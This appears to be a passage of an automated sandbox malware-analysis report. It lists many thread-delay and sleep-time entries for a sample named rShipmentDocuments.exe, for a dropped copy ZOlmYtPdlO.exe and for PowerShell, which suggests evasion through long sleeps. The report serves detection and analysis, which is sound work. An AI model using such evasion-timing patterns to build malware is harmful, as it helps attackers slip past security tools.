Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599805	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599687	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599469	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599140	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599024	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598126	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597669	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597533	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597387	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597275	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597154	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 595068	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594624	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599779
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599672
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599562
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599453
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599292
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599175
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 599054
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598836
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598719
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598607
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598500
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598390
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598281
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598171
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 598062
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597953
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597843
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597734
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597624
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597515
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597406
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597296
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597187
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 597078
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596968
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596859
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596740
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596609
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596500
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596390
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596280
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596172
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 596062
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595953
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595844
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595609
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595390
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595281
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595172
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 595062
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594952
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594843
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594734
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594625
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594496
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594221
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Thread delayed: delay time: 594073

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9520	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9098	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Window / User API: threadDelayed 5031	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Window / User API: threadDelayed 4826	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Window / User API: threadDelayed 4456
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe	Window / User API: threadDelayed 5387

Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 7320	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 9520 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7776	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7692	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 2688	Thread sleep count: 5031 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599805s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 2688	Thread sleep count: 4826 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -599024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598126s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597669s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597533s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597387s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597275s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597154s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -595068s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -594953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -594624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -594515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe TID: 1816	Thread sleep time: -594406s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep count: 38 > 30
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -35048813740048126s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3384	Thread sleep count: 4456 > 30
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599890s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3384	Thread sleep count: 5387 > 30
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599779s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599672s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599562s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599453s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599292s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599175s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -599054s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598836s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598719s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598607s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598500s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598390s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598281s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598171s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -598062s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597953s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597843s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597734s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597624s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597515s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597406s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597296s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597187s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -597078s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596968s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596859s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596740s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596609s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596500s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596390s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596280s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596172s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -596062s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595953s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595844s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595719s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595609s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595500s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595390s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595281s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595172s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -595062s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -594952s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -594843s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -594734s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -594625s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -594496s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -594221s >= -30000s
Source: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe TID: 3668	Thread sleep time: -594073s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599805	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599687	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599578	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599469	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599359	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599140	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 599024	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598126	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597669	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597533	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597387	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597275	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597154	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\rShipmentDocuments.exe	Thread delayed: delay time: 596937	Jump to behavior
